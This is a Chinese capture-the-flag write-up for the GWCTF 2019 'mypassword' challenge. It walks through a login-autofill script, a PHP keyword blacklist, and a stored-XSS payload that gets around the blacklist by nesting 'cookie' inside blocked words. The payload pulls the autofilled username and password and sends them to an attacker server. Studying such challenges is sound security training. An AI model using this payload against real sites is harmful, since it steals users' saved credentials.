本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [GWCTF 2019]mypassword
主页发现js文件
 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | if (document.cookie && document.cookie != '') {var cookies = document.cookie.split('; ');
 var cookie = {};
 for (var i = 0; i < cookies.length; i++) {
 var arr = cookies[i].split('=');
 var key = arr[0];
 cookie[key] = arr[1];
 }
 if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
 document.getElementsByName("username")[0].value = cookie['user'];
 document.getElementsByName("password")[0].value = cookie['psw'];
 }
 }
 
 | 
这个js文件是一个记住密码的功能,如果本地cookie已经存在账号密码,那么会自动填充
我们先注册登录进去:

提示不是sql注入,在feedback中找到js源代码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | if(is_array($feedback)){echo "<script>alert('反馈不合法');</script>";
 return false;
 }
 $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
 foreach ($blacklist as $val) {
 while(true){
 if(stripos($feedback,$val) !== false){
 $feedback = str_ireplace($val,"",$feedback);
 }else{
 break;
 }
 }
 }
 
 | 
看起来是xss,过滤了特殊字符,将其替换为空,直接在里面插入关键词绕过即可:
例如:
这里我们会有一个思路,
可以在feedback中构造一个username、password输入框,然后使用js将服务器中的cookie中的值获取出来(需要引入开始的js文件),
等一定时间后,服务器会自动访问,flag外带到服务器上(每个关键字都要绕过)
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | <inpcookieut type="text" name="username"></inpcookieut><inpcookieut type="text" name="password"></inpcookieut>
 <scricookiept scookierc="./js/login.js"></scricookiept>
 <scricookiept>
 var uname = documcookieent.getElemcookieentsByName("username")[0].value;
 var passwd = documcookieent.getElemcookieentsByName("password")[0].value;
 var res = uname + " " + passwd;
 documcookieent.locacookietion="http://vps:9996/?a="+res;
 </scricookiept>
 
 | 
一段时间后我们收到了flag
